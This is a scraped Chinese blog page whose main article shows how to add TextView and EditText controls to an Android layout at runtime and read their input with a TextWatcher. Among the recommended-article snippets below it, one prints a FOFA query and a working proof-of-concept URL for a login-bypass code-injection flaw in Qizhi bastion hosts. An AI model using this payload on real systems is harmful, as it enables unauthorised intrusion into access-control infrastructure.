Android 动态添加textView或EditText,并获取输入数据_textviews = new textvie textviews[0]-程序员宅基地

Android 动态添加textView或EditText,并获取输入数据

menglongma

  • 问题引入 
    Android开发中往往需要动态创建诺干个同类控件,或对他们设置点击事件或批量获取他们的值,下面提供我在开发中所使用的一种参考。

  • 动态创建多个textView,这里描述一个页面取名为:test.xml,现在在Id为MyTable的控件里插入多个textview控件

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="match_parent"
    android:orientation="vertical">

    <ScrollView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:fillViewport="true"
        android:scrollbars="none"
        >

        <HorizontalScrollView
            android:id="@+id/scroll_view"
            android:layout_width="match_parent"
            android:layout_height="match_parent"
            android:scrollbarAlwaysDrawHorizontalTrack="false"
            android:scrollbars="none">

            <LinearLayout
                android:id="@+id/MyTable"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginBottom="9dp"
                android:orientation="vertical"
                >
            </LinearLayout>

        </HorizontalScrollView>
    </ScrollView>
</LinearLayout>
  •  
  • java代码创建如下:
LinearLayout mainLinerLayout = (LinearLayout) this.findViewById(R.id.MyTable);
TextView textview=new TextView(this);
textview.setText("你好!");
mainLinerLayout.addView(textview);
  •  

同理EditText创建方式一样,不在赘述。(将TextView替换为EditView即可)

  • 对于动态创建的控件是不能通过id进行关联的,因而想要获取他的内容相对不易,这里介绍一下对于动态创建的EditText,如何获取他的值。 
    在创建时对editText设置监听(TextWatcher),重写里面的 三个TextChanged函数,完成你所需要的操作 
    ps:因为在动态创建,不同于在xml直接写的,所以在设置监听时,会让你将控件设为final,在重写的函数里,涉及到的也必须是final型变量,获取里面的内容可以存在一个外部final变量中,然后操控外部变量进行读取数据。
LinearLayout mainLinerLayout = (LinearLayout) this.findViewById(R.id.MyTable);
final int cout=i;//用于监听定位控件
final EditText editText=relativeLayout.findViewById(R.id.edit_num);
editText.addTextChangedListener(new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
//输入内容之前你想做什么
                }

@Override
public void onTextChanged(CharSequence s, int start, int before, int count) {
//输入的时候你想做什么
                }

@Override
public void afterTextChanged(Editable s) {
    //输入之后你想做什么                num[cout]=Integer.parseInt(editText.getText().toString());
                }
            });
mainLinerLayout.addView(editText);
  •  

同理对TextView可以设置监听事件,获取或设置你的需求。

以上便是我对这方面的理解,欢迎大家提出问题一起讨论。

一次性获取有命名规则的所有Android控件

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/cxu123321/article/details/108929713

智能推荐

C语言中scanf(输入)和printf(输出)的用法详解_scanf输入printf输出-程序员宅基地

文章浏览阅读440次,点赞3次,收藏6次。我们可以看到运行结果123的前面空出了两行,所以这个就是占位符前面加数字的作用!,那么这个时候问题又来了,现在的情况是右对齐,我们如果想左对齐怎么办呢?我们可以看到,这个时候代码就已经左对齐了,其实后面还有2个空位,那么问题又来了,这个前面加数字的作用是什么呢?的意思就是限制输出的数字长度是6个位,小数点后的位数是2个位。默认的情况下printf()不对+进行显示,而对-进行显示,所以如果想要输出负数,就要在d的前面加上负号。的作⽤是将想要输出的内容输出到屏幕上,它名字⾥⾯的 f。_scanf输入printf输出

齐治堡垒机任意用户登录漏洞_/audit/gui_detail_view.php-程序员宅基地

文章浏览阅读8.7k次。声明:仅供漏洞检测和学习,勿用于非法测试漏洞披露时间2021-04-09fofa查询语法app=“齐治科技-堡垒机”POChttp://xxx.xxx.xxx.xxx/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm批量检测脚本可以先用fof_/audit/gui_detail_view.php

杭电acm—1257 最少拦截系统_杭电acm1257-程序员宅基地

文章浏览阅读499次。题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1257最少拦截系统Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Total Submission(s): 43869 Accepted Submission(s)_杭电acm1257

C++可重入函数和不可重入函数_c++不可重入函数-程序员宅基地

文章浏览阅读1.8k次。C++可重入函数和不可重入函数可重入函数是指能够被多个线程“同时”调用的函数,并且能保证函数结果正确不必担心数据错误的函数。不可重入函数是指不能运行在多任务环境下,除非能保证互斥的函数。由于使用了未受保护的系统资源,如全局变量区,中断向量表等。不可重入函数在实时系统设计中被视为不安全函数。可重入函数特点:没有静态数据结构不返回指向静态数据的指针所有函数数据由函数的调用者提供使用auto变量,或通过全局变量的拷贝来保护全局变量若必须访问全局变量,则利用互斥信号保护不调用不可重入函_c++不可重入函数

微型计算机型号主要是以特征标志,安徽大学计算机教学部试题及答案-程序员宅基地

文章浏览阅读1.1k次。一、计算机基础知识1.下列叙述中,不是电子计算机特点的是_____。A.运算速度快 B.计算精度高 C.高度自动化 D.逻辑判断能力差 参考答案为:D2.现代电子计算机的本质工作原理是_____。A.能进行算术运算 B.运算速度高 C.计算精度高 D.存储并自动执行程序 参考答案为:D3.微型计算机的型号主要是以_____的型号为特征标志的。A.操作系统 B.微处理器...

chromium的部署工具depot_tools和gclient-程序员宅基地

文章浏览阅读3.6w次,点赞3次,收藏12次。depot_tools是个工具包,里面包含gclient、gcl、gn和ninja等工具。其中gclient是代码获取工具,它其实是利用了svn和git。_gclient

随便推点

InputStream只能读取一次的解决办法_inpustrem只能读一次-程序员宅基地

文章浏览阅读1w次。有时候我们需要对同一个InputStream对象使用多次。比如,客户端从服务器获取数据 ,利用HttpURLConnection的getInputStream()方法获得Stream对象,这时既要把数据显示到前台(第一次读取),又想把数据写进文件缓存到本地(第二次读取)。但第一次读取InputStream对象后,第二次再读取时可能已经到Stream的结尾了(EOFException)或者Stream_inpustrem只能读一次

webpack配置-程序员宅基地

文章浏览阅读1.1w次,点赞35次,收藏143次。webpack是前端的打包工具打包的工作内容是什么扫描项目,生成整个项目所有模块的依赖关系,根据配置对模块进行合并,生成一个单独的文件。修改html文件,让html文件引用生成后的文件将浏览器无法直接识别的(less、sass、ts)文件,转换成浏览器可以实现的内容。将浏览器暂时无法支持的JS新的语法转换成浏览器可以支持的语法。_webpack配置

Nexus 6p bootloop经历_n2g47z_4cores.img-程序员宅基地

文章浏览阅读2.2k次。昨天,用了1年半的6p不知为什么就bootloop了。正常使用中,突然就重启,然后就在重启提示和google标之间来回换,完全停不下来。能进入刷机模式,回复出场什么的都用不了,都会回到bootloop。用power off可以关机,可是一旦接上电源,就又开始bootloop。白色google一出来几秒钟不动,就感觉不对头,让人崩溃。。。。一想买新机又要花钱,决定再抢救一下了。先google..._n2g47z_4cores.img

使用JAXB进行JavaBean对象与XML文件的相互转化_jaxb 设置xml头encoding-程序员宅基地

文章浏览阅读1.7k次。思想:父标签相当于一个对象,子标签相当于对象的属性,然后循环嵌套。JAXBContext类,是应用的入口,用于管理XML/Java绑定信息。Marshaller接口,将Java对象序列化为XML数据。Unmarshaller接口,将XML数据反序列化为Java对象。如果是第一次使用的话,建议先下载代码跑一下看看效果:https://download.csdn.net/downl..._jaxb 设置xml头encoding

泰文Unicode编码表及排版规则_泰语文字范围-程序员宅基地

文章浏览阅读1.2w次,点赞5次,收藏18次。前言:泰文Unicode编码表及排版规则泰文 Unicode字符表 泰文符号字符数量统计: 128 Unicode编码范围:0E00—0E7F代码点泰文是一个Unicode块,包含泰文、Lanna Tai和Pali语言的字符。依据泰文工业标准620-2533。范围U+0E00…U+0E7F (128 代码位)已经分配:87代码位暂未使用:41个保留位Unicode字符表字..._泰语文字范围

四、基于海思芯片:从算法到移植 生成海思wk文件并进行成果展示_华为海思芯片转wk-程序员宅基地

文章浏览阅读6.2k次,点赞5次,收藏43次。一、基于海思芯片:从算法到移植 darknet框架下训练yolov3二、基于海思芯片:从算法到移植 darknet框架下yolov3转为caffe框架下三、基于海思芯片:从算法到移植 caffe-yolov3测试训练效果四、基于海思芯片:从算法到移植 生成海思wk文件并进行成果展示好了,在家的时候把法医秦明两部剧补了一下,还看了模仿游戏讲述图灵在二战中破译密码工作,大..._华为海思芯片转wk

推荐文章

热门文章

相关标签